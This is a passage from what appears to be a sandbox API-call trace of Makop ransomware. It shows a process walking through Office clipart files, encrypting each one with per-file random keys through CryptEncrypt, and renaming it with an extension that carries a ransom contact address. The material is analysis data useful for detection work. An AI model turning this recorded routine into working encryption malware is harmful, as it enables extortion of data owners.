lpNumberOfBytesWritten=0x6577aa8*=0x20f0, lpOverlapped=0x0) returned 1 [0134.045] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.045] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.045] SetEndOfFile (hFile=0xf0) returned 1 [0134.052] GetProcessHeap () returned 0x48a0000 [0134.052] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0134.052] GetProcessHeap () returned 0x48a0000 [0134.052] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0134.052] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0134.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0134.054] CloseHandle (hObject=0xf0) returned 1 [0134.054] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7aa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292270.WMF", cAlternateFileName="")) returned 1 [0134.054] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF") returned 63 [0134.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0134.055] GetProcessHeap () returned 0x48a0000 [0134.056] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0134.056] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0134.056] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0134.056] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0134.060] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.060] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.061] GetProcessHeap () returned 0x48a0000 [0134.061] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0134.061] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0134.061] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0134.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0134.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0134.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0134.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0134.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.062] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.062] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.062] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7aa6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7aa6, lpOverlapped=0x0) returned 1 [0134.064] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ab0, dwBufLen=0x7ab0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ab0) returned 1 [0134.065] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.065] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ab0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7ab0, lpOverlapped=0x0) returned 1 [0134.065] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.065] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.066] SetEndOfFile (hFile=0xf0) returned 1 [0134.072] GetProcessHeap () returned 0x48a0000 [0134.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0134.072] GetProcessHeap () returned 0x48a0000 [0134.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0134.073] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0134.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0134.074] CloseHandle (hObject=0xf0) returned 1 [0134.074] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292272.WMF", cAlternateFileName="")) returned 1 [0134.075] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF") returned 63 [0134.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0134.076] GetProcessHeap () returned 0x48a0000 [0134.076] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0134.076] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0134.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0134.076] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0134.081] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.081] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.081] GetProcessHeap () returned 0x48a0000 [0134.081] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0134.081] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0134.081] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0134.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0134.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0134.082] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0134.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0134.082] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.083] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.083] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.083] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.083] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b64, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b64, lpOverlapped=0x0) returned 1 [0134.084] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b70) returned 1 [0134.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.085] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b70, lpOverlapped=0x0) returned 1 [0134.085] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.085] SetEndOfFile (hFile=0xf0) returned 1 [0134.091] GetProcessHeap () returned 0x48a0000 [0134.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0134.091] GetProcessHeap () returned 0x48a0000 [0134.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0134.091] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0134.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0134.093] CloseHandle (hObject=0xf0) returned 1 [0134.093] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3658, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292278.WMF", cAlternateFileName="")) returned 1 [0134.093] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF") returned 63 [0134.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0134.096] GetProcessHeap () returned 0x48a0000 [0134.096] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0134.096] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0134.096] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0134.096] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.101] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.101] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.101] GetProcessHeap () returned 0x48a0000 [0134.101] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0134.101] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0134.101] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.101] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0134.101] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0134.102] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0134.102] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0134.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0134.102] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.102] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.102] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.103] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3658, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3658, lpOverlapped=0x0) returned 1 [0134.104] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3660, dwBufLen=0x3660 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3660) returned 1 [0134.105] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.105] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3660, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3660, lpOverlapped=0x0) returned 1 [0134.105] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.105] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.105] SetEndOfFile (hFile=0xf0) returned 1 [0134.116] GetProcessHeap () returned 0x48a0000 [0134.116] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0134.116] GetProcessHeap () returned 0x48a0000 [0134.116] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0134.117] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0134.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0134.118] CloseHandle (hObject=0xf0) returned 1 [0134.132] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292286.WMF", cAlternateFileName="")) returned 1 [0134.132] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF") returned 63 [0134.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0134.134] GetProcessHeap () returned 0x48a0000 [0134.134] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0134.134] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0134.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0134.134] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0134.139] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.139] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.139] GetProcessHeap () returned 0x48a0000 [0134.139] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0134.139] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0134.139] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.139] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0134.139] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0134.139] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0134.140] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0134.140] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0134.140] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0134.140] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0134.140] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.140] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.140] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4b56, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: 